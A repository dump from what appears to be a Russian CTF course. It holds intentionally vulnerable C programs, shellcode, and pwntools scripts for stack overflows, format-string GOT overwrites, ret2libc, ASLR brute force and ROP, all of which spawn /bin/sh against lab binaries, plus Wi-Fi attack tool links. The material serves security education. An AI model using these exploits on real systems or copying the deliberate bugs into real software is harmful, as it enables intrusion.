67 | [Исходник](https://2013.picoctf.com/problems/rop1-fa6168f4d8eba0eb.c),
68 | [бинарник](https://2013.picoctf.com/problems/rop1-fa6168f4d8eba0eb).
69 |
70 | ### rop2
71 |
72 | [Исходник](https://2013.picoctf.com/problems/rop2-20f65dd0bcbe267d.c),
73 | [бинарник](https://2013.picoctf.com/problems/rop2-20f65dd0bcbe267d).
74 |
75 | ### rop3
76 |
77 | [Исходник](https://2013.picoctf.com/problems/rop3-7f3312fe43c46d26.c),
78 | [бинарник](https://2013.picoctf.com/problems/rop3-7f3312fe43c46d26).
79 |
80 | ### format1
81 |
82 | [Исходник](https://2013.picoctf.com/problems/format1.c),
83 | [бинарник](https://2013.picoctf.com/problems/format1).
84 |
85 | ### format2
86 |
87 | [Исходник](https://2013.picoctf.com/problems/format2.c),
88 | [бинарник](https://2013.picoctf.com/problems/format2).
89 |
90 |
91 | ## Дополнительные задачи
92 |
93 | http://overthewire.org/wargames/
94 |
95 | https://exploit-exercises.com/
96 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/01-simple-overflow:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/buffer-overflow/01-simple-overflow
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/01-simple-overflow.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int main(int argc, char** argv) {
6 | char buffer[128];
7 | int x = 0;
8 |
9 | if (argc != 2) {
10 | printf("Usage: %s \n", argv[0]);
11 | return 0;
12 | }
13 |
14 | strcpy(buffer, argv[1]);
15 |
16 | if (x == 0xdeadbeef) {
17 | system("/bin/sh");
18 | }
19 |
20 | return 0;
21 | }
22 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/02-overwrite-return-address:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/buffer-overflow/02-overwrite-return-address
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/02-overwrite-return-address.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int not_called() {
6 | system("/bin/sh");
7 |
8 | return 0;
9 | }
10 |
11 | int vulnerable(char* str) {
12 | char buffer[128];
13 |
14 | strcpy(buffer, str);
15 |
16 | return 0;
17 | }
18 |
19 | int main(int argc, char** argv) {
20 | int x = 0;
21 |
22 | if (argc != 2) {
23 | printf("Usage: %s \n", argv[0]);
24 | return 0;
25 | }
26 |
27 | vulnerable(argv[1]);
28 |
29 | return 0;
30 | }
31 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/03-shellcode:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/buffer-overflow/03-shellcode
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/03-shellcode.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int vulnerable(char* str) {
6 | char buffer[128];
7 |
8 | strcpy(buffer, str);
9 |
10 | return 0;
11 | }
12 |
13 | int main(int argc, char** argv) {
14 | int x = 0;
15 |
16 | if (argc != 2) {
17 | printf("Usage: %s \n", argv[0]);
18 | return 0;
19 | }
20 |
21 | vulnerable(argv[1]);
22 |
23 | return 0;
24 | }
25 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/04-return-to-libc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/buffer-overflow/04-return-to-libc
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/04-return-to-libc.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int vulnerable(char* str) {
6 | char buffer[128];
7 |
8 | strcpy(buffer, str);
9 |
10 | return 0;
11 | }
12 |
13 | int main(int argc, char** argv) {
14 | if (argc != 2) {
15 | printf("Usage: %s \n", argv[0]);
16 | return 0;
17 | }
18 |
19 | vulnerable(argv[1]);
20 |
21 | return 0;
22 | }
23 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/buffer-overflow/SNIPPETS:
--------------------------------------------------------------------------------
1 | g++ -m32 -fno-stack-protector -g 01-simple-overflow.cpp -o 01-simple-overflow
2 |
3 | ./01-simple-overflow $(python -c 'print "a" * 128 + "\xef\xbe\xad\xde"')
4 |
5 | gdb -q ./01-simple-overflow -ex "set disassembly intel" -ex "set confirm off"
6 |
7 |
8 |
9 | g++ -m32 -fno-stack-protector -g 02-overwrite-return-address.cpp -o 02-overwrite-return-address
10 |
11 | r $(python -c 'print "a" * 128 + "b" * 8 + "c" * 4 + "\x7d\x84\x04\x08"')
12 |
13 | ./02-overwrite-return-address $(python -c 'print "a" * 128 + "b" * 8 + "c" * 4 + "\x7d\x84\x04\x08"')
14 |
15 |
16 |
17 | g++ -m32 -fno-stack-protector -z execstack -g 03-shellcode.cpp -o 03-shellcode
18 |
19 | "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
20 |
21 | r $(python -c 'print "a" * 16 + "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + "a" * (128 - 21 - 16) + "b" * 8 + "c" * 4 + "\x10\xd0\xff\xff"')
22 |
23 | env - gdb -q $(pwd)/03-shellcode -ex "set disassembly intel" -ex "set confirm off" -ex "unset env"
24 |
25 | env - PWD=$(pwd) $(pwd)/03-shellcode $(python -c 'print "a" * 16 + "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + "a" * (128 - 21 - 16) + "b" * 8 + "c" * 4 + "\x80\xdc\xff\xff"')
26 |
27 |
28 |
29 | find 0xf7e42190, +99999999999999, "/bin/sh"
30 |
31 | ./02-return-to-libc $(python -c 'print "a" * 128 + "c" * 12 + "\x90\x21\xe4\xf7" + "dddd" + "\x24\x2a\xf6\xf7"')
32 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/01-printf-features:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/format-string/01-printf-features
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/01-printf-features.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main() {
4 | // '%$d' refers to the argument number N.
5 | printf("2nd argument: %2$d\n", 1, 2, 3);
6 |
7 | // '%n' stores the number of characters written so far into the integer
8 | // indicated by the int* pointer argument.
9 | int so_far;
10 | printf("Hello world!%n\n", &so_far);
11 | printf("characters so far: %d\n", so_far);
12 |
13 | return 0;
14 | }
15 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/02-simple-format-string:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/format-string/02-simple-format-string
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/02-simple-format-string.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main(int argc, char** argv) {
5 | char buffer[128];
6 | strncpy(buffer, argv[1], 128);
7 | printf(buffer);
8 | return 0;
9 | }
10 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/03-global-overwrite:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/format-string/03-global-overwrite
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/03-global-overwrite.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int x = 0;
6 |
7 | int main(int argc, char** argv) {
8 | char buffer[128];
9 |
10 | strncpy(buffer, argv[1], 128);
11 | printf(buffer);
12 |
13 | printf("x = %d\n", x);
14 |
15 | if (x == 10) {
16 | printf("Nice!\n");
17 | system("/bin/sh");
18 | return 0;
19 | }
20 |
21 | return 0;
22 | }
23 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/04-overwrite-long:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/format-string/04-overwrite-long
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/04-overwrite-long.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int x = 0;
6 |
7 | int main(int argc, char** argv) {
8 | char buffer[128];
9 |
10 | strncpy(buffer, argv[1], 128);
11 | printf(buffer);
12 |
13 | printf("x = %x\n", x);
14 |
15 | if (x == 0xdeadbeef) {
16 | printf("Nice!\n");
17 | system("/bin/sh");
18 | return 0;
19 | }
20 |
21 | return 0;
22 | }
23 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/05-overwrite-got:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/format-string/05-overwrite-got
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/05-overwrite-got.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main(int argc, char** argv) {
5 | printf(argv[1]);
6 | strdup(argv[1]);
7 | }
8 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/format-string/SNIPPETS:
--------------------------------------------------------------------------------
1 | g++ 01-printf-features.cpp
2 |
3 |
4 |
5 | g++ -m32 -fno-stack-protector -g 02-simple-format-string.cpp -o 02-simple-format-string
6 |
7 | ./02-simple-format-string "%p" && echo ''
8 |
9 | ./02-simple-format-string 'aaaa%4$p' && echo ''
10 |
11 | ./02-simple-format-string 'aaaa%100x%4$n' && echo ''
12 |
13 |
14 |
15 | g++ -m32 -fno-stack-protector -g 03-global-overwrite.cpp -o 03-global-overwrite
16 |
17 | ./03-global-overwrite $(python -c 'print "\x30\xa0\x04\x08aaaaaa%4$n"') && echo ''
18 |
19 |
20 |
21 | g++ -m32 -fno-stack-protector -g 04-overwrite-long.cpp -o 04-overwrite-long
22 |
23 | ./04-overwrite-long $(python -c 'print "\x30\xa0\x04\x08\x32\xa0\x04\x08%48871x%4$hn%8126x%5$hn"') && echo ''
24 |
25 |
26 |
27 |
28 | g++ -m32 -fno-stack-protector -g 05-overwrite-got.cpp -o 05-overwrite-got
29 |
30 | ./05-overwrite-got $(python -c 'print "sh;#AAAABBBB%00000x%162$hp%00000x%163$hp"') && echo ''
31 |
32 | (gdb) x/wx 0x804a010
33 | 0x804a010 : 0xf7e809a0
34 | (gdb) p strdup
35 | $2 = {} 0xf7e809a0
36 | (gdb) p system
37 | $3 = {} 0xf7e46190
38 |
39 | ./05-overwrite-got $(python -c 'print "sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%24964x%162$hn%38484x%163$hn"') && echo ''
40 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/gdb/README.md:
--------------------------------------------------------------------------------
1 | How to control gdb evironment
2 | =============================
3 |
4 | ```
5 | g++ -m32 stack.cpp -o stack
6 | ```
7 |
8 | ```
9 | env - gdb -q /usr/bin/printenv -ex "set confirm off" -ex "unset env" -ex "r" -ex "q"
10 | ```
11 |
12 | ```
13 | env - gdb -q $(pwd)/stack -ex "set confirm off" -ex "unset env" -ex "r" -ex "q"
14 | ```
15 |
16 | ```
17 | env - PWD=$(pwd) $(pwd)/stack
18 | ```
19 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/gdb/stack:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/tricks/gdb/stack
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/gdb/stack.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main() {
4 | int dummy;
5 | printf("dummy: %p\n", (void *)&dummy);
6 | return 0;
7 | }
8 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/stdin/README.md:
--------------------------------------------------------------------------------
1 | Keeping stdin open
2 | ==================
3 |
4 | Bad:
5 | ```
6 | echo $(python -c 'print "payload"') | ./stdin
7 | ```
8 |
9 | Good:
10 | ```
11 | cat <(python -c 'print "payload"') - | ./stdin
12 | ```
13 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/stdin/stdin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/03-exploits/tricks/stdin/stdin
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/stdin/stdin.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int main(int argc, char** argv) {
6 | char buffer[128];
7 |
8 | // Suppose we did read(..., 256).
9 | read(STDIN_FILENO, buffer, 128);
10 |
11 | // And suppose we got our shell.
12 | system("/bin/sh");
13 |
14 | return 0;
15 | }
16 |
--------------------------------------------------------------------------------
/04-binary/03-exploits/tricks/struct/README.md:
--------------------------------------------------------------------------------
1 | Python struct
2 | =============
3 |
4 | ``` python
5 | >>> import struct
6 |
7 | >>> struct.pack('>> hex(struct.unpack('>> struct.pack('>> hex(struct.unpack('
2 | #include
3 | #include
4 |
5 | void check(void) __attribute__((constructor));
6 |
7 | void check(void) {
8 | if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
9 | printf("No debuggers allowed!\n");
10 | _exit(-1);
11 | }
12 | }
13 |
14 | int main() {
15 | printf("No debugger found, you can proceed.\n");
16 | return 0;
17 | }
18 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/bypass-aslr-x32/SNIPPETS:
--------------------------------------------------------------------------------
1 | gcc -m32 -fno-stack-protector -g bypass.c -o bypass
2 |
3 | ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
4 | 0x00160a24 : /bin/sh
5 |
6 | gdb -q bypass -ex "set confirm off" -ex "set disable-randomization off" -ex "b main" -ex "r" -ex "info proc mappings" -ex "q"
7 | libc: 0xf75..000
8 |
9 | nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
10 | system: 00040190
11 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/bypass-aslr-x32/bypass:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/bypass-aslr-x32/bypass
--------------------------------------------------------------------------------
/04-binary/04-hardening/bypass-aslr-x32/bypass.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int vulnerable() {
7 | char buffer[128];
8 |
9 | read(STDIN_FILENO, buffer, 256);
10 |
11 | return 0;
12 | }
13 |
14 | int main(int argc, char** argv) {
15 | vulnerable();
16 |
17 | return 0;
18 | }
19 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/bypass-aslr-x32/bypass.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import binascii
4 | import os
5 |
6 | from pwn import *
7 |
8 | context(arch='x86', os='linux', endian='little', word_size=32)
9 |
10 | for i in xrange(4242):
11 | libc = int('0xf75' + binascii.b2a_hex(os.urandom(1)) + '000', 16)
12 | print 'libc: ' + hex(libc)
13 |
14 | system = libc + 0x00040190
15 | shell = libc + 0x00160a24
16 |
17 | payload = ''
18 | payload += 'a' * 128 # buffer
19 | payload += 'b' * 12 # garbage and old ebp
20 | payload += p32(system) # system address
21 | payload += 'c' * 4 # fake return address for system
22 | payload += p32(shell) # "/bin/sh" address
23 |
24 | p = process('./bypass')
25 | try:
26 | p.send(payload + '\n')
27 | p.send('echo test' + '\n')
28 | line = p.recvline(timeout=1)
29 | if line.strip() != 'test':
30 | p.close()
31 | continue
32 | except EOFError:
33 | p.close()
34 | continue
35 | p.interactive()
36 | p.close()
37 | break
38 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/bypass-aslr-x32/bypass64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/bypass-aslr-x32/bypass64
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/01-calling-arguments:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/rop/01-calling-arguments
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/01-calling-arguments.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | const char* not_used = "/bin/sh";
7 |
8 | int vulnerable() {
9 | char buffer[128];
10 |
11 | read(STDIN_FILENO, buffer, 256);
12 |
13 | return 0;
14 | }
15 |
16 | int main(int argc, char** argv) {
17 | vulnerable();
18 |
19 | return 0;
20 | }
21 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/01-calling-arguments.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from pwn import *
4 |
5 | context(arch='x86', os='linux', endian='little', word_size=32)
6 |
7 | p = process('./01-calling-arguments')
8 |
9 | payload = ''
10 | payload += 'a' * 128 # buffer
11 | payload += 'b' * 12 # garbage and old ebp
12 | payload += p32(0xf7e44190) # system address
13 | payload += 'c' * 4 # fake return address for system
14 | payload += p32(0x080484f0) # not_used ("/bin/sh") address
15 |
16 | p.send(payload)
17 |
18 | p.interactive()
19 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/02-return-to-libc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/rop/02-return-to-libc
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/02-return-to-libc.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int vulnerable() {
7 | char buffer[128];
8 |
9 | read(STDIN_FILENO, buffer, 256);
10 |
11 | return 0;
12 | }
13 |
14 | int main(int argc, char** argv) {
15 | vulnerable();
16 |
17 | return 0;
18 | }
19 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/02-return-to-libc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from pwn import *
4 |
5 | context(arch='x86', os='linux', endian='little', word_size=32)
6 |
7 | p = process('./02-return-to-libc')
8 | # p = remote('host.com', 1337)
9 |
10 | payload = ''
11 | payload += 'a' * 128 # buffer
12 | payload += 'b' * 12 # garbage and old ebp
13 | payload += p32(0xf7e44190) # system address
14 | payload += 'c' * 4 # fake return address for system
15 | payload += p32(0xf7f64a24) # "/bin/sh" address
16 |
17 | p.send(payload)
18 |
19 | p.interactive()
20 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/03-x86-64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/rop/03-x86-64
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/03-x86-64.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int not_called() {
7 | system("/bin/sh");
8 |
9 | return 0;
10 | }
11 |
12 | int vulnerable() {
13 | char buffer[128];
14 |
15 | read(STDIN_FILENO, buffer, 256);
16 |
17 | return 0;
18 | }
19 |
20 | int main() {
21 | vulnerable();
22 |
23 | return 0;
24 | }
25 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/03-x86-64.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from pwn import *
4 |
5 | context(arch='x86', os='linux', endian='little', word_size=64)
6 |
7 | p = process('./03-x86-64')
8 | # p = gdb.debug(['./03-x86-64'])
9 |
10 | payload = ''
11 | payload += 'a' * 128 # buffer
12 | payload += 'b' * 8 # old rbp
13 | payload += p64(0x40057d) # not_called address
14 |
15 | p.send(payload)
16 |
17 | p.interactive()
18 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/04-gadgets:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/04-hardening/rop/04-gadgets
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/04-gadgets.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int vulnerable() {
7 | char buffer[128];
8 |
9 | read(STDIN_FILENO, buffer, 256);
10 |
11 | return 0;
12 | }
13 |
14 | int main() {
15 | vulnerable();
16 |
17 | return 0;
18 | }
19 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/04-gadgets.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from pwn import *
4 |
5 | context(arch='x86', os='linux', endian='little', word_size=64)
6 |
7 | p = process('./04-gadgets')
8 |
9 | system = 0x7ffff7a5b640
10 | binsh = 0x7ffff7b91cdb
11 | pop_rdi = 0x00000000004005d3
12 |
13 | payload = ''
14 | payload += 'a' * 128 # buffer
15 | payload += 'b' * 8 # old rbp
16 | payload += struct.pack('
2 | #include
3 | #include
4 | #include
5 |
6 | int x = 0;
7 |
8 | int vulnerable() {
9 | char buffer[128];
10 |
11 | read(STDIN_FILENO, buffer, 256);
12 |
13 | return 0;
14 | }
15 |
16 | int main() {
17 | vulnerable();
18 |
19 | printf("x = %x\n", x);
20 |
21 | if (x == 0xdeadbeef) {
22 | system("/bin/sh");
23 | }
24 |
25 | return 0;
26 | }
27 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/05-memory-write.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from pwn import *
4 |
5 | context(arch='x86', os='linux', endian='little', word_size=64)
6 |
7 | p = process('./05-memory-write')
8 |
9 | # 0x7ffff7a15000 /lib/x86_64-linux-gnu/libc-2.19.so
10 | # 0x0000000000112ecf : pop rcx ; ret
11 | # 0x0000000000001b8e : pop rdx ; ret
12 | # 0x0000000000117fd8 : mov dword ptr [rcx], edx ; ret
13 | # $1 = (int *) 0x601054
14 |
15 | libc = 0x7ffff7a15000
16 | pop_rcx = libc + 0x0000000000112ecf
17 | pop_rdx = libc + 0x0000000000001b8e
18 | mov_rcx_edx = libc + 0x0000000000117fd8
19 | x = 0x601054
20 | main = 0x00000000004005f0
21 |
22 | payload = ''
23 | payload += 'a' * 128
24 | payload += 'b' * 8
25 | payload += p64(pop_rcx)
26 | payload += p64(x)
27 | payload += p64(pop_rdx)
28 | payload += p64(0xdeadbeef)
29 | payload += p64(mov_rcx_edx)
30 | payload += p64(main)
31 |
32 | p.send(payload)
33 |
34 | p.interactive()
35 |
--------------------------------------------------------------------------------
/04-binary/04-hardening/rop/SNIPPETS:
--------------------------------------------------------------------------------
1 | gcc -m32 -fno-stack-protector -g 01-calling-arguments.c -o 01-calling-arguments
2 |
3 | gdb -q ./01-calling-arguments -ex "set disassembly intel" -ex "set confirm off"
4 |
5 | cat <(python -c 'print "a" * 128 + "c" * 12 + "\x90\x41\xe4\xf7" + "dddd" + "\xf0\x84\x04\x08"') - | ./01-calling-arguments
6 |
7 |
8 |
9 | gcc -m32 -fno-stack-protector -g 02-return-to-libc.c -o 02-return-to-libc
10 |
11 | find 0xf7e42190, +99999999999999, "/bin/sh"
12 |
13 | ./02-return-to-libc $(python -c 'print "a" * 128 + "c" * 12 + "\x90\x21\xe4\xf7" + "dddd" + "\x24\x2a\xf6\xf7"')
14 |
15 |
16 |
17 | gcc -fno-stack-protector -g 03-x86-64.c -o 03-x86-64
18 |
19 | gdb -q 03-x86-64 -ex "set disassembly intel"
20 |
21 |
22 |
23 | gcc -fno-stack-protector -g 04-gadgets.c -o 04-gadgets
24 |
25 | ROPgadget --binary 04-gadgets | grep "pop rdi"
26 |
27 |
28 |
29 | gcc -fno-stack-protector -g 05-memory-write.c -o 05-memory-write
30 |
31 | info proc mappings
32 |
--------------------------------------------------------------------------------
/05-advanced/01-wifi-hacking/README.md:
--------------------------------------------------------------------------------
1 | Wi-Fi Hacking
2 | =============
3 |
4 | ## Requirements
5 |
6 | Для занятия нужно будет иметь Kali Linux в каком либо виде. Один из вариантов - это [установить его на флешку](http://docs.kali.org/downloading/kali-linux-live-usb-install).
7 |
8 |
9 | ## Материалы
10 |
11 | http://habrahabr.ru/post/224955/
12 |
13 | http://habrahabr.ru/post/225483/
14 |
15 | http://habrahabr.ru/post/226431/
16 |
17 |
18 | ## Инструменты
19 |
20 | http://www.aircrack-ng.org/
21 |
22 | https://github.com/derv82/wifite
23 |
24 | https://code.google.com/p/reaver-wps/
25 |
26 | http://routerpwn.com/
27 |
28 | https://github.com/jduck/asus-cmd
29 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Attribution 4.0 International
2 |
3 | =======================================================================
4 |
5 | Creative Commons Corporation ("Creative Commons") is not a law firm and
6 | does not provide legal services or legal advice. Distribution of
7 | Creative Commons public licenses does not create a lawyer-client or
8 | other relationship. Creative Commons makes its licenses and related
9 | information available on an "as-is" basis. Creative Commons gives no
10 | warranties regarding its licenses, any material licensed under their
11 | terms and conditions, or any related information. Creative Commons
12 | disclaims all liability for damages resulting from their use to the
13 | fullest extent possible.
14 |
15 | Using Creative Commons Public Licenses
16 |
17 | Creative Commons public licenses provide a standard set of terms and
18 | conditions that creators and other rights holders may use to share
19 | original works of authorship and other material subject to copyright
20 | and certain other rights specified in the public license below. The
21 | following considerations are for informational purposes only, are not
22 | exhaustive, and do not form part of our licenses.
23 |
24 | Considerations for licensors: Our public licenses are
25 | intended for use by those authorized to give the public
26 | permission to use material in ways otherwise restricted by
27 | copyright and certain other rights. Our licenses are
28 | irrevocable. Licensors should read and understand the terms
29 | and conditions of the license they choose before applying it.
30 | Licensors should also secure all rights necessary before
31 | applying our licenses so that the public can reuse the
32 | material as expected. Licensors should clearly mark any
33 | material not subject to the license. This includes other CC-
34 | licensed material, or material used under an exception or
35 | limitation to copyright. More considerations for licensors:
36 | wiki.creativecommons.org/Considerations_for_licensors
37 |
38 | Considerations for the public: By using one of our public
39 | licenses, a licensor grants the public permission to use the
40 | licensed material under specified terms and conditions. If
41 | the licensor's permission is not necessary for any reason--for
42 | example, because of any applicable exception or limitation to
43 | copyright--then that use is not regulated by the license. Our
44 | licenses grant only permissions under copyright and certain
45 | other rights that a licensor has authority to grant. Use of
46 | the licensed material may still be restricted for other
47 | reasons, including because others have copyright or other
48 | rights in the material. A licensor may make special requests,
49 | such as asking that all changes be marked or described.
50 | Although not required by our licenses, you are encouraged to
51 | respect those requests where reasonable. More considerations
52 | for the public:
53 | wiki.creativecommons.org/Considerations_for_licensees
54 |
55 | =======================================================================
56 |
57 | Creative Commons Attribution 4.0 International Public License
58 |
59 | By exercising the Licensed Rights (defined below), You accept and agree
60 | to be bound by the terms and conditions of this Creative Commons
61 | Attribution 4.0 International Public License ("Public License"). To the
62 | extent this Public License may be interpreted as a contract, You are
63 | granted the Licensed Rights in consideration of Your acceptance of
64 | these terms and conditions, and the Licensor grants You such rights in
65 | consideration of benefits the Licensor receives from making the
66 | Licensed Material available under these terms and conditions.
67 |
68 |
69 | Section 1 -- Definitions.
70 |
71 | a. Adapted Material means material subject to Copyright and Similar
72 | Rights that is derived from or based upon the Licensed Material
73 | and in which the Licensed Material is translated, altered,
74 | arranged, transformed, or otherwise modified in a manner requiring
75 | permission under the Copyright and Similar Rights held by the
76 | Licensor. For purposes of this Public License, where the Licensed
77 | Material is a musical work, performance, or sound recording,
78 | Adapted Material is always produced where the Licensed Material is
79 | synched in timed relation with a moving image.
80 |
81 | b. Adapter's License means the license You apply to Your Copyright
82 | and Similar Rights in Your contributions to Adapted Material in
83 | accordance with the terms and conditions of this Public License.
84 |
85 | c. Copyright and Similar Rights means copyright and/or similar rights
86 | closely related to copyright including, without limitation,
87 | performance, broadcast, sound recording, and Sui Generis Database
88 | Rights, without regard to how the rights are labeled or
89 | categorized. For purposes of this Public License, the rights
90 | specified in Section 2(b)(1)-(2) are not Copyright and Similar
91 | Rights.
92 |
93 | d. Effective Technological Measures means those measures that, in the
94 | absence of proper authority, may not be circumvented under laws
95 | fulfilling obligations under Article 11 of the WIPO Copyright
96 | Treaty adopted on December 20, 1996, and/or similar international
97 | agreements.
98 |
99 | e. Exceptions and Limitations means fair use, fair dealing, and/or
100 | any other exception or limitation to Copyright and Similar Rights
101 | that applies to Your use of the Licensed Material.
102 |
103 | f. Licensed Material means the artistic or literary work, database,
104 | or other material to which the Licensor applied this Public
105 | License.
106 |
107 | g. Licensed Rights means the rights granted to You subject to the
108 | terms and conditions of this Public License, which are limited to
109 | all Copyright and Similar Rights that apply to Your use of the
110 | Licensed Material and that the Licensor has authority to license.
111 |
112 | h. Licensor means the individual(s) or entity(ies) granting rights
113 | under this Public License.
114 |
115 | i. Share means to provide material to the public by any means or
116 | process that requires permission under the Licensed Rights, such
117 | as reproduction, public display, public performance, distribution,
118 | dissemination, communication, or importation, and to make material
119 | available to the public including in ways that members of the
120 | public may access the material from a place and at a time
121 | individually chosen by them.
122 |
123 | j. Sui Generis Database Rights means rights other than copyright
124 | resulting from Directive 96/9/EC of the European Parliament and of
